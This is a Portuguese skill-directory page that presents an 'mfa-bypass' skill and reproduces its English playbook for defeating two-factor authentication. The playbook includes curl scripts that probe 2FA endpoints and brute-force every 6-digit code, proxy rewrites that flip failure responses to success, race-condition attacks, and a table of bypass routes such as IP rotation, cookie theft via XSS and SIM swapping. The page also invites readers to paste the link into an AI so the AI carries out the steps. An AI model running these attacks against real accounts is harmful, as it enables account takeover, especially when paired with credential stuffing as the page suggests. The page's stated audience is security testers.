Pular para o conteúdo
Skillpedia
Segurança6,5 mil · #14071

mfa-bypass

O que ela faz

Esta skill explica como as verificações de dois fatores podem falhar, incluindo adulteração de respostas, limites de taxa fracos e fluxos de redefinição que pulam a segunda etapa. Ela é para testadores de segurança.

Quando usar

  • ✓Quando um site usa códigos de uso único ou verificações de dois fatores e você quer testá-los.
  • ✓Quando uma revisão de segurança pergunta se as verificações de dois fatores têm limites de taxa ou bloqueios.
  • ✓Quando uma redefinição de senha ou um dispositivo lembrado pode pular o segundo fator.

Link da skill

https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/web/mfa-bypass/SKILL.md

Copie e cole na sua IA (Claude, ChatGPT ou Cursor) pedindo para seguir as instruções.

Como usar

O jeito mais fácil: copie a mensagem e cole na sua IA. Ela lê a skill e segue as instruções.

Mensagem pronta para colar

Use esta skill para me ajudar: https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/web/mfa-bypass/SKILL.md Leia o arquivo SKILL.md desse link e siga as instruções dele na minha tarefa.
Quer que a sua IA encontre skills como esta sozinha?Instale o MCP grátis do Skillpedia: uma linha, e ela pesquisa entre 15.000+ skills antes de cada tarefa.Instalar em 1 minuto →

Exemplo do que pedir para a IA

“Você pode verificar se o código de dois fatores da minha página de login pode ser adivinhado testando muitos códigos?”

5 skills novas por semana. 1 minuto de leitura.

Como funciona

O agente mapeia as etapas que deveriam exigir um segundo fator, envia códigos errados para ver se algum limite se aplica e verifica outros fluxos, como redefinição ou lembrar de login, em busca de etapas puladas.

Conteúdo técnico (SKILL.md original)

Texto original do autor, em inglês, direto do GitHub.

MFA / 2FA Bypass Playbook

Logic flaws in the second factor are pure ATO. Common because devs ship the happy path (enter code → success) and forget the negative paths: response tampering, brute force, replay, race, alternate flows, remembered devices.

1. Detection — map the 2FA surface

Enumerate every flow that should require a second factor:

# 1. Inventory paths involved in step-up
for p in /login /login/2fa /api/2fa/verify /mfa/verify /account/security \
         /account/email /account/password /password/reset /password/reset/confirm \
         /oauth/authorize /api/session /api/session/elevate /backup-codes; do
  curl -s -o /dev/null -w "%{http_code}  $p\n" "https://<TARGET>$p"
done

# 2. Submit a wrong OTP — what does the response look like?
curl -s -i -X POST "https://<TARGET>/api/2fa/verify" \
  -H 'Content-Type: application/json' -H "Cookie: session=<HALF_AUTHED>" \
  -d '{"code":"000000"}'

# 3. Rate-limit probe — burst 20 wrong codes
for i in $(seq 1 20); do
  printf '%s ' "$(curl -s -o /dev/null -w '%{http_code}' -X POST \
    "https://<TARGET>/api/2fa/verify" -H 'Content-Type: application/json' \
    -H "Cookie: session=<HALF_AUTHED>" -d "{\"code\":\"$(printf '%06d' $i)\"}")"
done; echo
# If no 429 / lockout → brute force is open

2. Flaw matrix

Class Symptom Bypass
Response manipulation server returns {"success":false} but client trusts it intercept → flip to true
Status-code tamper 401 vs 200 only checked client-side rewrite 401 → 200 in proxy
Flag tamper mfa_required=true in JWT/JSON edit to false, resign / unsigned alg
No rate limit unlimited wrong OTPs 6-digit OTP = 10⁶ — brute over hours
Per-IP limit only limit on attacker IP, not on user rotate IPs / X-Forwarded-For
OTP reuse same code valid after use replay last code in a new session
OTP no expiry code from yesterday still works mine old SMS / email
Predictable OTP seeded by userid/timestamp precompute
Backup-code abuse unlimited tries, codes never expire / not invalidated brute backup codes endpoint
Race condition two requests in flight — both succeed parallel POSTs (HTTP/2 single-packet attack)
Missing 2FA on flow /login enforces, /api/login does not use alternate endpoint
Missing 2FA on password change password change re-enables full session reset → skip 2FA
Password reset skips 2FA reset token logs you in without 2FA abuse reset link
OAuth / SSO skips 2FA social login returns a fully-authed session login via Google instead
Remember-me cookie persistent cookie skips 2FA forever steal remember-me via XSS / log leak
Direct object access /api/account works on half-authed session call protected APIs pre-2FA
Enrollment race attacker enrolls own TOTP for victim before victim does hit /2fa/enroll first post-login
Recovery channel takeover SMS → SIM swap, email → email ATO downstream factor compromise

3. Exploit PoC

3.1 Brute-force a 6-digit OTP (no rate limit)

COOKIE='session=<HALF_AUTHED>'
for i in $(seq 0 999999); do
  CODE=$(printf '%06d' $i)
  CODE_LEN=${#CODE}
  RES=$(curl -s -o /dev/null -w '%{http_code}' -X POST \
    "https://<TARGET>/api/2fa/verify" -H 'Content-Type: application/json' \
    -H "Cookie: $COOKIE" -d "{\"code\":\"$CODE\"}")
  [ "$RES" = "200" ] && { echo "HIT: $CODE"; break; }
  (( i % 1000 == 0 )) && echo "tried $i ..."
done

3.2 Response-flip bypass

# Original server response
HTTP/1.1 200 OK
{"success":false,"mfa":"required"}

Rewrite at the proxy:

HTTP/1.1 200 OK
{"success":true,"mfa":"passed"}

If the SPA only inspects JSON to decide navigation, session cookie is already full-authed server-side and the redirect succeeds.

3.3 Direct post-2FA endpoint access

# Half-authed cookie after username+password, BEFORE OTP
curl -s "https://<TARGET>/api/account" -H "Cookie: session=<HALF_AUTHED>"
# If it returns full account data → broken step-up.

3.4 Race condition (HTTP/2 single-packet)

# Use Turbo Intruder "single-packet attack" — fire ~30 verify requests with the
# *correct* OTP in one TCP packet; servers that decrement attempts non-atomically
# accept multiple, and 2FA-disable mutations slip through.

4. Chains

  • MFA bypass → ATO is itself the chain endpoint. Pair with credential stuffing for scale.
  • Password reset skips 2FA → ATO
Perguntas frequentes

O que é adulteração de resposta aqui?

É alterar uma resposta do servidor, como um sinal de sucesso, para ver se o app avança sem um código válido.

Ela testa limites de tentativas?

Sim, envia uma rajada de códigos errados para verificar se algum limite de taxa ou bloqueio aparece.

Condições de corrida são cobertas?

Sim, a skill lista condições de corrida como uma forma de as verificações de dois fatores falharem.

Detalhes

Descrição original do autor

2FA / OTP logic flaws — response & status tampering, brute force, OTP reuse, backup-code abuse, race conditions, missing-2FA on flows, remember-me bypass, password-reset skips 2FA.

repo: BitterSecurity/Decepticon

Popularidade

Estrelas no GitHub
6,5 mil
Posição no ranking
#14071
Licença
Apache-2.0
Atualizada em
01/11/2026

Essa skill é útil?

0

Entre para votar.

Comentários

  • …

Mais skills deste repositório

Skills parecidas